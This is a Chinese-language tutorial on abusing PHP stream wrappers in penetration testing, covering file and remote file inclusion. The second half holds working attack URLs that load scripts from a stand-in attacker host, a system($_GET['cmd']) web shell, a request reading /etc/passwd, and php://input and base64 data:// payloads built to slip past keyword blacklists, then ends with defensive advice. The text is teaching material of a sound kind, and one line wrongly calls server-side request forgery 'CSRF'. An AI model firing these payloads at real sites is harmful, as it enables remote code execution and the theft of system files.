流 (Streams) 这个概念是在 php4.3 引进的, 是对流式数据的抽象, 用于统一数据操作, 用于统一数据操作, 比如文件数据, 网络数据, 压缩数据等. 简单点讲, 流就是表现出流式数据行为的资源对象. 在本文中, 我将为大家介绍一些 PHP Stream Wrappers 在渗透测试中的利用技巧.
了解 IT 中的流
当不同的介质之间有数据交互的时候, 就使用流来实现. 数据源和目标可以是文件, TCP/IP 或 UDP 网络连接, 标准输入和输出, 文件服务器上的文件传输或文件存档过程. 即使这些流看起来彼此差异很大, 但它们却有一个共同的线程: 它们基本上都是读写的过程. 你可以将数据从源写入到目标, 也可以将从源读取的数据传输到目标. 大致过程如下:
连接建立
数据读取
数据写入
连接结束
即使基本操作是读写, 也需要执行其他操作才能访问 web 服务器或存档文件, 或是执行简单的输入和输出过程, 以及通过 TCP/IP 或 UDP 建立连接.
流操作中的通用函数
我们可以通过 PHP 中的一些通用函数与流进行交互:
- file
- open
- fwrite
- fclose
- file_get_contents
- file_put_contents
在 PHP 中, 你可以使用通用函数来执行各种流操作, 而无需使用单独的函数, 从而使整个过程更加简单.
直到今天, 这些函数仍是流概念的主要部分并用于文件读写过程. 我们现在可以在 PHP 中使用 wrapper(包装器)来执行各种流处理, 例如 HTTP,FTP,SOCKET 进程和标准输入 / 输出进程.
如果要使用流, 则需要以特定格式指定其类型和目标. 我们将在通用函数中使用的流类型定义如下:
- <wrapper>
- ://
- <target>
- <wrapper>
- 占位符用于指定我们将使用的流类型, 如 File,FTP,PHPOUTPUT,PHPINPUT,HTTP 或 SSL.
如果你是 PHP 程序员, 你应该熟悉以下代码. 它会读取 some.txt 文件并打印其内容.
- <?PHP
- $handle = fopen("some.txt","rb");
- while(feof($handle)!==true) {
- echo fgets($handle);
- }
在代码中, 我们使用 file://system wrapper 调用 fopen 通用流函数. 从技术上讲, 上面的代码与以下代码完全相同:
- <?PHP
- $handle = fopen("file://some.txt","rb");
- while(feof($handle)!==true) {
- echo fgets($handle);
- }
由于流函数中的默认包装器是 file://, 因此如果要使用它, 则不必进行指定.
你可以使用以下代码列出允许使用的包装器.
- <?PHP
- print_r(stream_get_wrappers());
流上下文概念
对于大多数用例, 流函数的默认用法可能已经足够. 但是在某些情况下, 你需要的不仅仅是默认用法.
- <?PHP
- file_get_contents("http://www.example.com/news.php");
我们假设可以使用 file_get_contents 命令来读取 http://www.example.com/news.php 上的新闻. 但是, 如果该网站需要某种形式的身份验证才能访问其内容呢? 在这种情况下, 你可以使用流上下文 (Stream-Context) 规范使用可选参数自定义流行为.
以下是一段流上下文的示例代码:
- <?PHP
- $postdata = '{"username":"ziyahan"}'
- $opts = array('http' =>
- array(
- 'method' => 'POST',
- 'header' => 'Content-type: application/json;charset=utf-8;\r\n'.
- 'Content-Length:'.mb_strlen($postdata),
- 'content' => $postdata
- )
- );
- $context = stream_context_create($opts);
- $response = file_get_contents('http://www.example.com/news.php', false,
- $context);
如上所示, 流上下文实际上是一个数组. 上面的键值表示将在上下文中使用的包装器类型(本例中为 HTTP). 每个包装器都有各自的上下文参数. 你可以在 PHP 文档 http://php.net/manual/en/wrappers.php 中阅读有关它们的更多信息.
PHP 流过滤器
以上我们对流的读写过程已有了一个初步的了解. 流包装器的主要优点是可以在读 / 写过程中即时的修改, 更改或删除数据.
PHP 为我们提供了一些流过滤器(string.toupper,string.tolower,string.rot13 和 string.strip_tags). 除此之外, 还可以使用各种自定义过滤器.
我们可以使用 stream_append_filter 函数在流上应用过滤器. 例如, 下面的过滤器会将所有读取的句子转换为大写:
- <?PHP
- $handle = fopen('file://data.txt','rb');
- stream_filter_append($handle, 'string.toupper');
- while(feof($handle)!==true) {
- echo fgets($handle);
- }
- fclose($handle);
在 data.txt 中读取的信息将以大写形式显示在屏幕上.
你还可以使用 PHP://filter wrapper 向流添加过滤器:
- <?PHP
- $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb');
- while(feof($handle)!==true) {
- echo fgets($handle);
- }
- fclose($handle);
流开始传输时将调用该方法. 与第一个示例相比, 该方法对于之后不允许过滤器附件的函数 (如 file() 和 fpassthru())更为可行.
你可以使用过滤器进行编码 (rot13,base64) 或文件压缩和提取.
除了 PHP 和预定义的包装器之外, 你还可以使用第三方包装器(如 Amazon S3 或 Dropbox), 并为特定操作编写自定义包装器.
在此之前我们给出的示例属于 本地文件包含 (LFI) 类目 , 其中包括将目标系统中的文件包含在代码中以提取系统的数据.
在远程文件包含中 PHP Wrappers 的使用
除了 LFI 之外, 还可以远程向 Web 应用注入代码, 即 远程文件包含(RFI) .
以下是一段示例代码:
- <?PHP
- include($_GET["go"].".php");
使用这段代码, 你可以使用链接浏览网站, 例如 http://www.example.com/?go=contact 和 http://www.example.com/?go=products .
但是, 这段代码有一个根本的缺陷. 假设在远处的某个服务器中有一个名为 malscript.txt 的文件, 该文件包含以下代码:
<?PHP phpinfo();
这是包含以上代码文件的 URL: http://www.attacker.com/malscript.txt
然后, 攻击者将调用以下 URL 加载该恶意脚本.
- www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt
- <?PHP
- include("http://www.attacker.com/malscript.txt.php");
开发人员添加的. PHP 扩展名在此示例中显示为 barrier(屏障). 在 RFI 攻击中, 想要绕过它非常的容易.
这是攻击者提供的 URL: http://www.attacker.com/malscript.txt?q= . 这是攻击者为了执行攻击而需要访问的完整 URL:
- www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D
- <?PHP
- include("http://www.attacker.com/malscript.txt?q=.php");
使用攻击 URL 中的 "?q=" 字符绕过. PHP barrier. 这只是一个例子, 在多数情况下你可以使用适当的扩展名托管文件. 这个技巧对于服务器端请求伪造攻击 (CSRF) 也非常有用.
.txt 文件从远程服务器被注入到 PHP 函数中, 文本文件中的代码将作为网站代码的一部分被执行. phpinfo()函数将为我们显示服务器的敏感信息.
在该示例当中, 我们仅仅只是读取了服务器的信息. 如果我们将其中的代码更改为其它 PHP 命令又会发生什么呢? 如下所示:
- <?PHP
- system("uname -a")
可以看到, 现在我们可以利用 RFI 执行系统命令了. 此代码允许攻击者通过将其作为 GET 参数提供, 来执行他们想要执行的任何命令:
- <?PHP
- system($_GET["cmd"]);
我们再次使用与前面示例相同的脚本 URL: http://www.attacker.com/malscript.txt?q= . 但这次我们可以提供一个系统命令作为 CMD 的 GET 参数:
www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=
此时, 服务器可以根据攻击者的请求运行各种命令.
如果无法使用查询字符串覆盖 .PHP extension barrier, 则可以使用该扩展名. 你需要为此创建一个 PHP 文件, 并在将其上传到服务器之前包含以下代码.
以下是 backdoor.PHP 文件中的内容:
- <?PHP
- echo '<?php system($_GET["cmd"]);?>';
因此, 攻击者需要提供的新链接为: http://www.attacker.com/backdoor . 这是攻击者为了执行攻击而需要访问的链接:
http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor
PHP 将执行此代码:
- <?PHP
- include("http://www.attacker.com/backdoor.php");
使用 Stream Wrappers 绕过黑名单列表
如果开发人员开始采取防御措施并过滤掉了一些输入, 那么我们又该怎么办? 例如, 不允许在参数中使用 http://.
其实解决方案很简单, 你可以使用其他选项, 例如 PHP://input wrapper, 而不是已过滤的 http:// wrapper.
在利用 RFI 漏洞时, 如何使用包装器来获取 POST 请求主体的输入并将其发送给 PHP 编译器呢?
以下是一个请求示例:
- POST http://www.example.com?go=php://input%00 HTTP/1.1
- Host: example.com
- Content-Length: 30
- <?PHP system($_GET["cmd"]); ?>
如上所示, 即使过滤掉了 http:// 和 file:// wrapper, 我们仍然可以使用 PHP://input wrapper 来利用此漏洞.
即使开发人员将 PHP:// wrapper 和允许系统级命令执行的其他 PHP 命令 (如 system,cmd) 列入黑名单, 我们仍然有办法覆盖 barriers. 在这种情况下, 我们可以使用 data:// wrapper, 其作用是将传递给它的输入作为类型和值传递给 PHP 流函数.
以上的代码为:
- <?PHP
- system($_GET["cmd"]);
如果允许使用 data:// wrapper, 攻击者只需使用以下代码而无需托管外部文件:
data://text/plain, <?PHP system($_GET["cmd"]);
这是最终请求的 URL 编码版本:
- data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
- http://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
使用 cmd 参数, 任何代码请求都将被执行. 例如, 想要获取系统信息, 可以使用 uname -a 命令, 但必须先对其进行编码.
用于攻击的 URL:
http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>
前面我们已经假设开发人员将 system 和 cmd 等关键字列入了黑名单中. 那么, 我们有什么可以代替的解决方案呢?
幸运的是 data:// wrapper 支持 base64 和 rot13 编码. 因此, 你必须对将用于利用 base64 中漏洞的 PHP 代码进行编码, 并发出以下请求:
- PHP code:
- <?PHP
- system($_GET["cmd"]);
这是漏洞利用的 base64 编码版本. PHP 将对其进行解码并执行.
PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
你将发出请求的 URL:
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
go 参数下的脚本代码 (base64 编码) 已经准备好使用 "cmd" 参数在操作系统级别执行命令.
总结
在本文中, 我为大家介绍了一些 PHP Stream Wrappers 在渗透测试中的利用技巧, 以及让大家对此有了更为深入的了解. 这些包装器也可以用来绕过某些安全过滤器. 正如上面例子中所说的那样, 由于攻击范围不断增加, 使用黑名单几乎已不可能确保安全性. 将接收的函数和文本输入列入白名单而不是将关键字 (如 http://,file://,PHP://,system 和 cmd) 列入黑名单, 并在每次发现新的攻击媒介时及时的更新它们将更为有效. 可以说, 效率是保护 Web 应用程序安全性的关键.
除此之外, 你还可以禁用远程文件包含功能, 并且永远不要让用户在可能实现远程文件包含和执行代码的函数中控制输入, 例如 require,include,require_once,include_once 等.
来源: http://www.tuicool.com/articles/qUVrYjB